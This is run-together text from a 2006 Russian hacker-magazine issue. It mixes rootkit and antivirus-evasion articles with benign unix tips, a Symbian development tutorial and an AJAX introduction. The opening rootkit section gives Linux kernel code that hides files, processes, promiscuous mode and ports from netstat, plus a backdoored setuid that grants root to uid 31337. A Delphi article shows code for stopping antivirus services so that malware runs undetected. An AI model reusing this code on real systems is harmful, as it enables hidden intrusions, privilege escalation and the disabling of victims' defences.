ps, top и пр. Именнопоэтому метод скрытия каталогов одновременнопозволяет нам скрывать процессы всистеме. Разумеется, этот метод позволяетскрывать не только каталоги, но и любыедругие файлы, в том числе устройства.Чтобы получить указатель на структуру fileнеобходимо открыть файл (каталог, устройство).В ядре открытие файла осуществляетсяс помощью функции filp_open(). Удобнееоткрывать корневой каталог для последующегоскрытия в нем нужных файлов (каталогов,устройств). Для указания корневогокаталога в нашем модуле введена константаDIRECTORY_ROOT. Для скрытия каталоговв файловой системе /proc нужно присвоитьконстанте имя «/proc», а для скрытия файловвне системы /proc указываем корневой каталог.Причина, по которой требуется указыватьразные корневые каталоги, заключается втом, что /proc является особой файловой системой,которая хранится в памяти компьютераи не связана с жестким диском. Поэтому еслиоткрыть корневой каталог, то мы не сможемпрятать каталоги в файловой системе /proc, инаоборот.В модуле мы подменяем не только указательна функцию readdir(), но и указатель на filldirфункцию,который стоит третьим аргументомв функции readdir(). В подменной filldir-функциимы делаем проверку на имя каталога,который требуется скрыть, и как только онбудет обнаружен, filldir-функция вернет 0,в результате чего readdir() пропустит этоткаталог. Имя обычного файла, каталога илиустройства для скрытия указывается в определенииDIRECTORY_HIDE.В ходе экспериментов я выяснил, что именакаталогов хранятся в системе как строкибез оканчивающего нулевого символа, в товремя как имена обычных файлов хранятся соканчивающим нулевым символом. Поэтомумы для сравнения строк в модуле задействуемфункцию strncmp(), которая осуществляетпроверку только n-первых символов. Соответственно,нам под силу передавать строкибез завершающего нулевого символа.Скрытие работающего снифераЧтобы подавить флаг PROMISC, можнопросто подменить системный вызов ioctl(),в котором будем выполнять проверку наустановленный флаг, и менять его значениена обратное:int new_ioctl(int fd, int request,unsigned long arg){...if (request == SIOCGIFFLAGS) {if (promisc)ifr->ifr_flags |= IFF_PROMISC;elseifr->ifr_flags &= ~IFF_PROMISC;}return 0;}Скрытие информации от утилиты netstatУтилита netstat читает информацию из файлов/proc/net/{tcp,udp} и других файлов (ихxàêåð 12 /96/ 06/123


unixoidКод модуля, скрывающего каталоги ипроцессыПосле загрузки модуля hide_file.ko в ядро файл testfile не отображаетсякомандой ls –a, но доступ к нему возможен (в примере мывыводим его содержимое командой cat)«После сборки модуля и его загрузкив ядро ты увидишь, что указанныйфайл не отображается ни командойls, ни файловым менеджером. Приэтом, зная имя скрытого файла, тылегко можешь осуществить над нимлюбые операции»список можно увидеть в man netstat). Поэтомуесли скрыть нужные строки с информацией осоединении и об открытых портах при чтениииз этих файлов, то netstat не будет отображатьих на экране.Однако мы рассмотрим другой способ, которыйиспользуется в рутките adore-ng. Сутьэтого способа заключается в подмене указателяна функцию tcp4_seq_show() в структуреtcp_seq_afinfo (определена в файле net/tcp.h). Эту функцию задействует в своей работеутилита netstat. В подмененной функцииhacked_tcp4_seq_show() мы вызываем функциюstrnstr() для поиска в seq->buf подстроки,содержащей шестнадцатеричный номерпорта, который мы указали для скрытия:int hacked_tcp4_seq_show(structseq_file *seq, void *v){char port[12];int retval;retval = orig_tcp4_seq_show(seq,v);sprintf(port, "%04X", PORT_TO_HIDE);if (strnstr(seq->buf + seq->count- TMPSZ, port, TMPSZ))seq->count -= TMPSZ;return retval;}Троянская версия вызова setuidСистемный вызов setuid всегда используетсяпри входе и при регистрации пользователяв системе. Руткит перехватывает этотвызов и заменяет его своей версией.Новая функция (я назвал ее change_setuid)будет проверять, с каким uid был произведенсистемный вызов. Если это 31337,то для текущего пользователя (current)устанавливаются права root(0):int change_setuid(uid_t uid){if (uid == 31337) {current->uid = 0;current->euid = 0;current->gid = 0;current->egid = 0;return 0;}return (*orig_setuid)(uid);}Другие фичи руткитовВ статье мы рассмотрели все основныевозможности, которые должен поддерживатьлюбой полноценный руткит, носуществуют и другие. Например, руткитможет поддерживать перенаправлениесистемного вызова execve, когда при запускеодной команды вместо нее будет запущенадругая. Иногда могут присутствоватьзащита файлов от удаления или запрет наисполнение программ, запрет на вход вкаталог, подмена строк в файле при чтении,встроенный в ядро снифер паролей, регистраторнажатия клавиш и т.д.Но все эти дополнительные возможноститы теперь сможешь реализоватьсамостоятельно. z/ 124xàêåð 12 /96/ 06


unixoidЕвгений «j1m» Зобнин/ j1m@list.ru /Tips'n'tricksТРЮКИ И СОВЕТЫюниксоидаПривет всем любителям быстрых иэффективных решений. Сегодня в нашейскромной, но полезной рубрике вновьмного самых разных советов. Как и всегда,особое удовольствие от чтения получатпоклонники командной строки. Для нихприготовлено множество типсов по работес файлами, созданию архивов и настройкешелла. Те, кто равнодушен к мигающемукурсору и не любит стучать по клавиатуре,могут обратить внимание на разделы, посвященныебессмертным X Window и mc.ShellУстановить комбинации клавиш в стиле vi дляbash:$ set -o vi$ export EDITOR=viСпециальные символы переменной PS1 (вскобках для zsh):\d (%D) - текущая дата;\t (%T) - текущее время;\H (%M) - сетевое имя машины;\u (%n) - имя пользователя;\w (%/) - текущий каталог.FilesКонвертировать табуляторы в пробелы:$ expand file.txtПоказать последние 10 команд:$ fc -l -10Показать файлы, отсортировав список подате модификации:$ ls -FltrX WindowУстановить сглаженные TTF-шрифты дляэмулятора терминала (добавить строки в~/.Xdefaults).Для xterm:XTerm*locale: trueXTerm*faceName: Lucida Console:pixelsize=14Для rxvt:Rxvt*font: xft:Lucida Console:pixelsize=14Показать все символы заданного шрифта:Bitmap-шрифты:$ xfd -fn 8x16TTF-шрифты:$ xfd -fa ArialПоказать список доступных шрифтов:$ xlsfontsПоказать список доступных TTF- и Type1-шрифтов:$ fc-listПоказать подробности какого-либо действия,производимого с окном:$ xevПоказать информацию об окне:$ xpropОбновить экран:$ xrefreshОчистить окно терминала при логине и выходеиз шелла.bash:echo clear > ~/.bash _ loginecho clear > ~/.bash _ logoutzsh:echo clear > ~/.zloginecho clear > ~/.zlogoutMidnight Commander (mc)Отключить использование графическихсимволов для рисования линий (это здоровоскрашивает внешний вид mc, если в текущемшрифте нет графических символов):$ mc -aНайти файл в текущей панели:Ctrl+sВыделить файлы по маске:Ctrl+"+"Снять выделение:Ctrl+"-"Открыть окно справочника каталогов:Ctrl+/Открыть окно поиска:Esc, ?Синхронизировать панели:Esc, oПоменять панели местами:Ctrl+uПоказать каталоги и отсортировать списокпо размеру:$ du -s | sort -nНайти файл, содержащий строку:$ find . -type f -exec grep -H строка\{\} \;Показать файлы, названия которых содержатнепечатаемые символы:$ ls -bПоказать непечатаемые символы в текстовомфайле:$ cat -v fileНайти файлы, с даты модификации которыхпрошло более 7 дней:$ find . -mtime +7Найти файлы с SUID-битом:$ find . /bin -type f -perm -u=sКопировать каталоги, используя tar(с сохранением прав, ссылок и т.д.):$ tar -cf - . | (cd /tmp; tar -xf -)Удалить все файлы, кроме одного:$ rm -i `ls -d *.txt | grep -v '^неудалять.txt'Показать строки, содержащиеся в бинарномфайле:$ strings filezxàêåð 12 /96/ 06/125


codingМихаил «Horrific» Фленов851425:gNw7KYOhcensoredДилдодля антивируса«tested on DR. WEB»«tested on DR. WEB»Управление сервисами через менеджер WindowsБуквально вчера я увидел в интернете интересную новость о том, что появилась зло-программа, котораяпосле заражения компа скачивает пиратскую версию «Антивируса Касперского» и с ее помощью уничтожаетвсех конкурентов. Оригинальное решение :). Мы много раз слышали о том, что вирусы пытаются обманутьантивирусы, но такая странная дружба на моей памяти происходит впервые. Эта новость подвигла меняна разговор о том, как можно обмануть антивирус. Ларчик-то достаточно просто открыть (точнее, закрыть ;).Многие хакеры стремятсянаписать такой код вируса,трояна или другого зла, чтобыанализатор антивируса не смогего найти. Самое простое и эффективноерешение кроется в отключении сервиса антивируса.Не знаю, как «Касперский» (давноего не юзал), а Symantec и Dr. Web работаюткак сервисы, а значит, чтобы наш зло-кодспокойно работал в системе, не боясьантисредств, достаточно просто отключитьсоответствующий сервис, и никто уже его неостановит. Самое поразительное, что можносоздавать сервисы, которые невозможновырубить, но известные мне антивирусыпочему‐то легко отключаются. Это вполнелогично, ведь анализаторы иногда ошибаются(сам с таким встречался), и тогда пользовательдолжен иметь возможность отключитьслишком умный антивирус и позволитьпродолжить работу с программами, которыеанализатор воспринял как зло.Еще пример. Когда‐то мы писали о том, чтосервис Messenger не безопасен и подверженатаке флудом, поэтому его начали отключать.Но кто мешает нам написать небольшую программу,которая будет запускать сервис накомпьютере жертвы, чтобы потом его можнобыло атаковать флудом через NET SEND :)?Итак, сегодня нам предстоит узнать, какможно запустить/остановить любой сервисв системе или вогнать в его паузу. Судя поназванию рубрики, мы будем делать этопрограммно с помощью Delphi.Менеджер сервисовПриступим. За управление сервисами в окнахотвечает менеджер сервисов (Service ControlManager, что на нашем великом и могучемозначает «менеджер управления сервисами»).Очень часто, в том числе и в документацииMSDN, можно встретить сокращениеSCManager.Чтобы получить контроль над сервисами, дляначала необходимо подключиться к менеджеру.Для этого используется функцияOpenSCManager, которая в общем видевыглядит так:function OpenSCManager (lpMachineName,lpDatabaseName: PChar;/ 126xàêåð 12/96/ 06


coding862156:fbXvAETGПример остановки сервисаКак всегда, разобраться с методами поможет файл помощиdwDesiredAccess: DWORD): SC_HANDLE; stdcall;Тут у нас всего 3 параметра:1. Имя компьютера, к менеджеру которогонеобходимо подключиться. Если есть права,то можно управлять даже удаленным компьютером.Для подключения к локальномукомпьютеру этот параметр можно оставитьнулевым.2. База данных, которая нас интересует. Этотпараметр должен быть равен SERVICES_ACTIVE_DATABASE или нулю. В обоих случаяхрезультат один и тот же — выбирается активнаябаза данных.3. Флаг, определяющий желаемый доступ.В зависимости от прав, с которыми работаетпользователь, можно указать различныефлаги прав доступа к менеджеру сервисов.Нас интересует полный доступ, а значит,в третьем параметре необходимо указатьSC_MANAGER_ALL_ACCESS. Фулл акцессбудет возможен, только если компьютерработает под админом. Слава богам за то, чтобольшинство ламеров работает именно подтакими правами, особенно в Windows HomeEdition, где каждый юзер является локальнымадмином.Если программа работает с правамиLocalSystem, то можно указать следующиеправа доступа:• SC_MANAGER_CONNECT — разрешеноподключение к менеджеру;• SC_MANAGER_ENUMERATE_SERVICE —разрешено перечисление сервисов;• SC_MANAGER_QUERY_LOCK_STATUS —разрешен запрос состояния;• STANDARD_RIGHTS_READ — стандартныеправа чтения;• SC_MANAGER_MODIFY_BOOT_CONFIG —разрешено изменение загрузки.Если функция отработала успешно и смоглаподключиться, то результатом будет хэндлвыбранной базы данных SC-менеджера. Еслиподключение невозможно, то результатомбудет ноль.Итак, чтобы подключиться к менеджеру управлениясервисами на локальном компьютере,достаточно написать следующий код:varservicemanager: Cardinal;beginservicemanager:=OpenSCManager (nil,nil, SC_MANAGER_ALL_ACCESS);end;Рекомендую проверять результат на корректность,потому что программа может не иметьправ для подключения с запрошеннымипривилегиями.Подключение к сервисуК менеджеру мы подключились, теперь подрубимсяк необходимому сервису. Для этогоиспользуется метод OpenService, которыйвыглядит так:function OpenService (hSCManager: SC_HANDLE;lpServiceName: PChar;dwDesiredAccess: DWORD): SC_HANDLE; stdcall;Здесь у нас опять 3 параметра:1. хэндл менеджера сервисов, которыймы получили после выполнения функцииOpenSCManager;2. имя сервиса, которым нужно управлять;3. права доступа.В качестве прав доступа при подключениик сервису можно указывать:• SERVICE_ALL_ACCESS — полный доступ;• SERVICE_START — разрешить запусксервисов;• SERVICE_STOP — разрешить останавливатьсервисы;• SERVICE_PAUSE_CONTINUE — разрешитьвгонять сервис в паузу и возобновлятьвыполнение.Это основные права, которые тебе могутпонадобиться.Если выполнение прошло успешно, в качестверезультата функция возвращаетхэндл сервиса. Если произошла ошибка,то результатом будет ноль. Обязательнопроверяй на ошибку, ведь сервис может и небыть установлен, а значит, его невозможнобудет открыть и впоследствии управлять им.Получается, что по наличию сервиса можноопределить, какой антивирус стоит на компьютережертве. Если соответствующий сервисоткрылся, то его можно останавливать.УправлениеНу что же, можно начинать управление. Делаетсяэто с помощью функции:ControlService.function ControlService (hService: SC_HANDLE;dwControl: DWORD;var lpServiceStatus: TserviceStatus): BOOL; stdcall;И снова 3 магических параметра:1. Хэндл сервиса, которым нужно управлять.2. Действие, которое нужно выполнить.Основные указываемые здесь команды — это:• SERVICE_CONTROL_STOP — остановитьсервис;• SERVICE_CONTROL_PAUSE — сделать паузу,скушать «Твикс»;xàêåð 12/96/ 06/127


codingЛистинг 1varservicemanager, service: Cardinal;ss: SERVICE _ STATUS;begin// Открываем менеджер сервисовservicemanager:=OpenSCManager (nil,nil, SC _ MANAGER _ ALL _ ACCESS);Теперь ты можешь написать собственную оснастку управления сервисами• SERVICE_CONTROL_CONTINUE — продолжитьвыполнение сервиса, который кушает«Твикс».3. Переменная типа SERVICE_STATUS, черезкоторую мы получим последнее состояниесервиса.При остановке можно встретиться с однойсерьезной проблемой. Если есть зависимыеработающие сервисы, то остановить требуемыйсервис будет невозможно. Необходимоопределить зависимости и остановить всесервисы. Но об этом чуть ниже.Использование менеджераТеперь у тебя есть информация, необходимая,для того чтобы написать образец кода,который будет незаметно останавливать все,что мешает твоей программе. В листинге 1 тыможешь увидеть пример кода, останавливающегосервис Messenger.Единственная нерассмотренная мной функция,которая есть в этом примере, — этоCloseServiceHandle (аналог CloseHandle).С ее помощью необходимо закрывать открытыйнами хэндл сервиса или хэндл менеджерауправления сервисами.Ах, чуть не забыл. Все функции работыс сервисами и менеджером описаныв модуле WinSvc.pas, поэтому не забудьпрописать его в разделе uses, иначе примерне скомпилируется.СтартуемОбрати внимание, что при рассмотрениифункции контроля ControlService я не привелфлага, который отвечал бы за запуск сервиса.Нет, я не опустил его из‐за ненадобности,просто за запуск отвечает совершенно другаяфункция — StartService.function StartService (/ 128hService: SC_HANDLE;dwNumServiceArgs: DWORD;var lpServiceArgVectors: Pchar): BOOL; stdcall;Давай глянем на параметры этой функции.1. Хэндл сервиса, который нужно запустить.2. Количество передаваемых аргументов.Они передаются в виде строк в третьем параметрефункции.3. Массив из строк аргументов. Каждыйэлемент массива — это строка, котораязаканчивается нулем.Не знаю, отчего в Microsoft запуск сервисавыделили в отдельную функцию и несмогли все реализовать в универсальнойControlService. Мне кажется, что это связанос безопасностью, но когда кажется, нужнокреститься. Оставим лишнюю функцию насовесть разработчиков, тем более что ихсовесть выдерживала и не такое :).Со стартом могут быть проблемы. Не каждыйможет это сделать, особенно если длякорректной работы требуется запуск другихсервисов. Если результат не нулевой (true), тозапуск произошел успешно, а если нулевой(false), то произошла ошибка.ОснастимС помощью функций менеджера управлениясервисов ты легко можешь написать собственнуюоснастку управления сервисами.Конечно, мы ещё не рассмотрели всефункции SC-менеджера, потому что их оченьмного и вместить их в одну статью нереально,а растягивать на несколько — нет смысла.Поэтому, чтобы облегчить твое дальнейшееизучение этой темы, я сделаю краткий обзорфункций, которые могут тебя заинтересовать.А дальше уже MSDN тебе в помощь.• QueryServiceStatus — запрашивает ин-// Открываем сервис Messengerservice:=OpenService(servicemanager, 'Messenger',SERVICE _ ALL _ ACCESS);// Проверяем на ошибочкиif service=0 thenbeginShowMessage ('Ошибка');exit;end;// Останавливаем MessengerControlService (service, SERVICE _CONTROL _ STOP, ss);// Закрываем сервисCloseServiceHandle (service);end;xàêåð 12/96/ 06


codingСервис, который нужно тормознуть, чтобыотключить Dr. WebОснастка «Сервисы» управляет сервисами теми же методами,которые мы рассматриваем в этой статьеформацию о состоянии сервиса. У функции2 параметра: хэндл сервиса и переменнаятипа SERVICE_STATUS, куда будет записанрезультат.• CreateService — создает сервис и добавляетего в базу данных определенного менеджерауправления сервисами. Параметрову этой функции много, поэтому сэкономимместо. Да и инсталлировать сервисы простои без этой функции, достаточно только запуститьисполняемый файл.• DeleteService — удаляет сервис. Параметртолько один, и это хэндл удаляемого сервиса.• EnumDependentServices — перечисляетвсе сервисы, которые зависят отуказанного. Таким образом можно вычислитьзависимости.• GetServiceDisplayName — определяетдружественное имя сервиса, которое можноувидеть в оснастке служб.• EnumServicesStatus — перечисляет всеустановленные сервисы из базы данныхи возвращает для каждого из них текущеесостояние.РеакцияПри работе с SC-менеджером нужнобыть очень внимательными, потому чторезультат наступает не мгновенно. Еслизапустить пример, который ты найдешь надиске, и программно остановить сервисMessenger, то можно увидеть, что в оснасткеxàêåð 12/96/ 06/«Не знаю, отчегов Microsoft запуск сервисавыделили в отдельнуюфункцию и не смогли всереализовать в универсальнойControlService»«Сервисы» служба сообщений будет некотороевремя недоступна, так как системабудет останавливать сервис, обновлять базуданных и т.д.Запуск и остановка служб из оснастки работыс сервисами будут также происходитьне сразу. В зависимости от многих факторовэто может занять от нескольких секунд донескольких минут.Так что не надейся, что выключенныйпрограммно антивирус тут же перестанетсканировать и можно творить чтоугодно.НапутствиеДля того чтобы зло-код не смог программноотрубить антивирус и внедриться в твоюсистему, достаточно работать на компьютерес правами простого пользователя, а неадминистратора.В этом случае код не сможет получитьполного доступа к системе. Конечно, нетничего невозможного — есть кучаспособов поднять права, но это весьмапроблематично.Программное отключениесервисов лишний раз подтверждаеттот факт, что защиты в окнах просто неможет быть, особенно если юзер работаетпод правами админа. Любая зло-программаможет незаметно вырубить эту защиту иуничтожить компьютер бедного пользователя.Виноват останется все тот же бедный юзер,но что он может сделать в Windows HomeEdition?Остается только пожелать тебе удачи. Надеюсь,скоро увидимся. z129


codingДмитрий «Dem@n» Тарасов/ dmitry_tarasov@hotmail.com /dао SymbianВозьми свой смартфон под контрольПосле публикации статей «СМС-шпионаж» в сентябрьском номере «Х» и «Symbian tips'n'Tricks» в октябрьском«Спеце» я получил море писем с просьбами рассказать о том, как изучить основы кодинга под смартфоны на базеSymbian и какой инструментарий использовать. Что же, по просьбам трудящихся я и опишу этот трудоемкий,но захватывающий процесс создания программы для смартфона.На чем писать?одП Symbianможно писатьи на Яве,и на Си, и даже на Pythonи C#. Но что касаетсяJava2ME, то ни быстротавыполнениякода, нивозможности,предоставляемыеэтим языкомразработчику, не являютсяудовлетворительными.Аналогичная ситуация пока и с .NET для смартфонов. Про Питон,думаю, вообще говорить не стоит :).С++ же, в свою очередь, позволяетиспользовать ОС на полную катушку,поскольку сама Symbian и написана на этоммогучем языке :).Symbian бывают разныеКак ты, наверное, знаешь, ОС Symbian — лишьоснова программной части любого смартфона,предоставляющая необходимые для работы API. Внешнийвид же и способ взаимодействия с пользователем определяетсяодной из двух реализаций интерфейсных надстроек над ОС— Series60 от компании Nokia и UIQ от Sony Ericson. В этой статьея буду ориентироваться на разработку под Series60, посколькуплатформа UIQ хоть и вызывает восхищение с эстетическойточки зрения, но практически ограничивается 3‐4 моделямисмартфонов от Sony Ericson. К выпуску смартов же на S60подключились, помимо Nokia, и такие скорострелы смартфоностроения,как Samsung и LG. На сегодняшний деньколичество моделей на этой платформе перевалило за 50,что с успехом можно наблюдать в часы пик в метрополитене :).ИнструментарийОпределившись с языком, нужно разобраться со средой разработки,которую мы будем использовать для создания проектов.На данный момент очень хорошо себя зарекомендовала связка/ 130xàêåðVisualStudio.NET 2003+ Carbide.VS. В октябрьском«Спеце» мы ужеписали о том, почему лучшеиспользовать этот инструментарий.Поэтому здесья лишь напомню, чтоCarbide.VS — надстройканад студией от компанииNokia. Взять ее можно на нашемдиске, либо на forum.nokia.com.После установки студии и надстройкинеобходимо определиться, под какуюверсию ОС мы будем писать. На сегодняшниймомент ходовыми являются версии 7.0, 8.0,8.1 и 9.1. Для каждой версии платформы есть свойнабор инструментов, называемый SDK и включающийдокументацию, примеры кода, эмулятор смартфона наПК и прочие тулзы, необходимые для сборки проекта.По большому счету программа, написанная для Symbian7.0 с использованием соответствующего SDK, будет успешноработать и на последующих версиях до 8.1 включительно(если не применять какие‐нибудь специфические API). SDKтакже есть на нашем диске и на forum.nokia.com. Устанавливать этодело нужно на диск С (это важно), после чего появится директориявида C:/Symbian/Series60/7.0/Epoc32. Вот в ней‐то и нужно создаватьпроекты, чтобы компилятор и линковщик нормально работали.Из чего состоит проект на Symbian?После установки необходимого инструментария надо разобраться,что есть что в минимальном проекте. Запускай среду и выбирайNew Symbian Project в папке Visuall C++ Project. Не забудь задатьпуть проекта в папке Epoc32. Далее в диалоговом окне выбирайSDK (если их в списке нет, то юзай кнопку Enable/Disable SDK)и указывай тип проекта Classic Project Template — S60EIKON Control-Based Application («Hello, World»). После этогожми Finish, и среда сгенерирует тебе кучу разных непонятныхклассов и файлов в папке проекта.Предлагаю пройтись по папкам, которые создала студия,и посмотреть, что в них лежит.• AIF — здесь по умолчанию хранится иконка приложения (в вариантедля статусной панели программы и для меню смартфона).Обрати внимание, что, для того чтобы лого программки нормальносмотрелось в меню, необходимо для каждой картинки создаватьчерно-белую маску, где черным будет закрашена видимая(показываемая) часть. Часть картинки, выкрашенная в белыйцвет, не отобразится в меню программ, а ее место займет общий12/96/ 06


codingТе самые 3 символа мусораСоздание проектафон темы оформления, установленной на смартфоне.Советую подробнее посмотреть документацию по Bitmapи утилите AifTool.Кроме того, в этой папке еще есть файл aif-ресурсовприложения, имеющий примерно такой вид:#include RESOURCE AIF _ DATA{app _ uid=0x01ff9a56; //UID приложенияnum _ icons=2; //количество иконок…}• DATA — в этой директории хранятся файлы ресурсовприложения, являющиеся очень важной частью любойGUI-программы для Symbian. В ресурсах определяютсястроки, пункты и структура меню, внешний вид статуснойпанели приложения, структура списков и другихконтролов. Описание любого ресурса начинаетсяс ключевого слова RESOURCE. К примеру, простейшееменю, вызываемое при нажатии левой функциональнойкнопки, описывается следующим образом:RESOURCE MENU _ PANE r _ symbian3 _ menu{items ={MENU _ ITEM { command = ESymbian3CmdAppTest;txt = qtn _ appl _ test; },MENU _ ITEM { command = EAknCmdExit; txt =qtn _ appl _ exit; }};}shortcaption = qtn _ app _ short _ caption _string; //Короткая подпись приложения}• GROUP — здесь лежат файлы, необходимые для сборкипроекта. Наибольший интерес представляет файл с расширениемmmp. Это файл описания проекта, из котороголинковщик берет все пути подключаемых библиотек,хедеров и т. д. Рекомендую ознакомиться со структуройMMP и почитать документацию.Хочу обратить внимание на следующий факт: частопри добавлении нового функционала в приложениенеобходимо использовать какой‐либо класс, требующийподключения определенного хедера и библиотеки. Соответственно,эту библиотеку нужно прописывать в mmpфайлследующим образом: LIBRARY megalib.lib. Приэтом в VS наблюдается такой глюк: при сборке проекта,если она до этого уже производилась, иногда появляетсясообщение об ошибке, в котором говорится о том, чтотребуемая библиотека не подключена, хотя это не так!В подобных случаях нужно делать ReBuild Solution. Еслии это не помогает, можно попробовать реимпортироватьсвой проект. То же самое касается и файлов ресурсов:если ты видишь, что изменения в них никак не отражаютсяна сборке, сделай ребилд.• INC — здесь располагаются хедеры использующихсяв проекте классов. Стоит отметить, чтов Symbian C++ принята очень полезная практика— для каждого более-менее значимого класса создаватьотдельную пару «хедер — cpp‘шник». Крометого, в этой папке имеется файл с расширением hrh,в котором содержится перечисление всех юзерскихкоманд, вызываемых при выборе определенногопункта меню:http://club60.org— пожалуй, единственныйстоящий источникинформации о Symbianна русском языке.http://NewLC.com— весьма познавательныйресурс.http://discussion.forum.nokia.com — здесьможно найти решениепрактически любойпроблемы.Здесь MENU_ITEM соответствует каждому новому пунктуменю; command — идентификатор команды, вызываемойпри выборе соответствующего пункта меню, а txt— подпись пункта. Ресурс caption’а приложения вынесенв отдельный файл и имеет такой вид:RESOURCE CAPTION _ DATA.{//Подпись приложенияcaption = qtn _ app _ caption _ string;enum TXaCommandIds{cmd _ mymoney=1,cmd _ myanketa,cmd _ myanketa _ view,cmd _ myanketa _ change,cmd _ shownadv,cmd _ cab,cmd _ hide};На диске ты найдешьнеобходимыйинструментарий.xàêåð 12/96/ 06/131


codingВот так выглядит стол разработчика под SymbianЧтобы избежать всяких дурацких ошибок присборке, важно не забывать вносить сюда всеновые команды.Тут же лежит файл, содержащий локализованныеверсии строк, используемых в приложениидля подписей, лейблов, диалогов и т. д. Как правило,такой файл состоит из строк вида:#define caption _ cmd _ title «Прога»#define caption _ cmd _ exit «Выход»• SIS — тут находится pkp-файл, содержащийинформацию, необходимую длясборки приложения, включая универсальныйидентификатор приложения и пути файлов,которых надо поместить в сборку (картинки,ресурсы и т. д.).Так, например, в строке вида «"C:\Symbian\Series60\7.0\Epoc32\release\thumb\urel\Symbian4.app»-»!:\system\apps\Symbian4\Symbian4.app"» мы указываем, что файлSymbian4.app будет установлен в директориюsystem\apps в смартфоне.Сама сборка, то есть установочный sis-файл,окажется в рассматриваемой папке.• SRC — тут все просто: сорцы используемыхв программе классов.Базовые классы проектаЭлементарный Symbian-проект состоит изследующих классов:• Application — содержит точку входа и создаеткласс Document;• Document — задает некоторые свойстваприложения (видимость/невидимость, например)и создает класс AppUI;• AppUI — формирует интерфейс пользователяи обрабатывает события (выбор пунктаменю, элемента списка и т. д.), а такжесоздает класс Container;• Container — класс, служащий контейнеромдля контролов (списки, редакторы и т. д.),а также отвечающий за их перерисовкуи настройку.Думаю, на начальном уровне особый интереспредставляет класс AppUI, поскольку он даетвозможности обработки событий и командпользователя. Рассмотрим, например, какобрабатывается выбор пункта меню. Как ты/ 132xàêåðпомнишь, в файле ресурсов содержитсяидентификатор команды, генерируемойпри выборе каждого пункта. За перехвати обработку этих команд отвечает методHandleCommandL класса AppUI. Код обработкивыглядит так:void CXaAppUi::HandleCommandL(TIntaCommand) {switch ( aCommand ) {case cmd _ first:{//какой‐то код}break;case cmd _ hide:{Exit(); //выход}break;case EAknSoftkeyBack:case EEikCmdExit:{// обработка нажатия на правую// клавишу «Back»Exit();break;}default:break;}}Кроме этого метода, AppUi предоставляетеще множество полезных методов и свойств,почитать о которых стоит в SDK Help.Кстати, основной проблемой кодинга подSymbian является полное отсутствие визуальности,к которой нас приучили такие среды,как Delphi и VS.NET. Другими словами, веськод придется набирать ручками, и, чтобы этомв деле не ошибиться, нужно хорошо разбиратьсяв C++. Весь кодинг объектно-ориентированный,поэтому его основные парадигмынужно знать и принимать всем сердцем :).Использование русских строк в ресурсахРано или поздно ты наверняка захочешь использоватьв названии программы, подписяхи т. д. кириллицу. Если просто взять и зафигачитьее в файлы ресурсов, то вместорусских букв на экране смартфона будутв лучшем случае квадратики, а в худшем— вообще какой‐нибудь ужас. Чтобы этогоне произошло, нужно в файле ресурсоввверху написать «CHARACTER_SET UTF8».После этого файл ресурсов необходимосохранить в кодировке utf-8, с чемсправится великий и могучий Блокнот. Всевроде бы хорошо, но, после того как тыпроделаешь эту операцию, проект у тебя несоберется :). Виной тому будут 3 служебныхсимвола, добавленных Блокнотом в началофайла ресурсов. Их нужно убрать любымHEX-редактором.В результате проект запустится, и ты сможешьнаслаждаться нормальным русскимтекстом на экране мобилы.Особенности кодинга под Symbian 9.1После выхода новой версии операционки,жизнь кодеров под Symbian несколько усложнилась,что во многом связано с вводомновой платформы безопасности SymbianSigned. Теперь любое приложение длядевятой версии, должно быть подписаноцифровым сертификатом. Сертификат бываеттрех типов: сертификат разработчика,позволяющий использовать любые API, нотолько на телефоне самого разработчика(привязка к IMEI); бесплатный сертификат,позволяющий использовать лишь ограниченныйнабор API, гарантирующий, что тыне впариваешь потребителю троян; сертификат,позволяющий использовать любыеAPI. Последний выдается только после того,как приложение пройдет проверку парнейиз Symbian, которая стоит денег.Кроме того, изменились компилятор и линковщик,поэтому в любом случае проекты,создававшиеся для более ранних платформ,необходимо перекомпилировать с использованиемнового SDK. Подробнее об измененияхв новой версии можно прочитать наwww.sotovik.ru/catalog/reviews/s60_3rd-rev.html.Несколько слов напоследокЕстественно, для полного изложенияоснов кодинга под Symbian не может хватитьодной статьи, поэтому здесь я привелтолько ключевые моменты, с которымисталкивался сам.В качестве напутствия могу посоветоватьчитать больше документации, штудироватьхелп и forum.nokia.com. z12/96/ 06


codingБорис Вольфсон/ borisvolfson@gmail.com/КозырныераскладыТехнология AJAX для созданиясовременных веб‐сайтовВ покере есть такая начальная комбинация карт — туз и валет. Ее называют «AJAX». Если она выпадает при раздаче,то шансы на выигрыш очень велики. Существует одноименная компьютерная технология, которая обещаетстать козырной картой в колоде любого сайта.ТеорияBначале — пара слов про технологии,которые мы будем использоватьв статье. Чтобы писатьполноценные веб-приложенияна Аяксе, надо на приличном уровне знатьи уметь применять:• язык разметки гипертекста HTML, а лучшеXHTML;• каскадные таблицы стилей CSS;• объектную модель DOM;• язык программирования на стороне клиента,обычно JavaScript;• объект XMLHttpRequest для обмена даннымис сервером;• XML для формирования данных, либодругой формат, например JSON./ 134xàêåðЕсли в вышеперечисленном спискевстретились незнакомые слова, то нестоит отчаиваться — я поясню их, когда этопонадобится.Общая схема работыПользователь заходит на страничку, сделаннуюпри помощи Аякса, и производитнекое действие, например кликает мышкойпо ссылке. Обработчик этого событияпосылает запрос на сервер. Он получаетинформацию и посылает ответ, которыйобрабатывает соответствующая функцияна стороне клиента. Эта функция формируетготовый HTML и показывает его пользователю.В общем, достаточно простаясхема. Изучим детали.XMLHttpRequestДля того чтобы написать наше первоеприложение — интерактивную страничкуна AJAX, нам надо научиться пользоватьсяобъектом XMLHttpRequest. Что можетбыть проще, чем создать объект нужногокласса? Но вспомним главную бедувеб-программистов: у всех пользователейразные браузеры. Microsoft InternetExplorer поддерживает XMLHttpRequestв виде ActiveX-объекта Microsoft.XMLHTTP, остальные же браузеры считаютего нативным, и проблем возникнутьне должно. Теперь алгоритм созданияобъекта XMLHttpRequest прояснен.Сначала определяем браузер, потом создаемобъект нужным нам образом:12/96/ 06


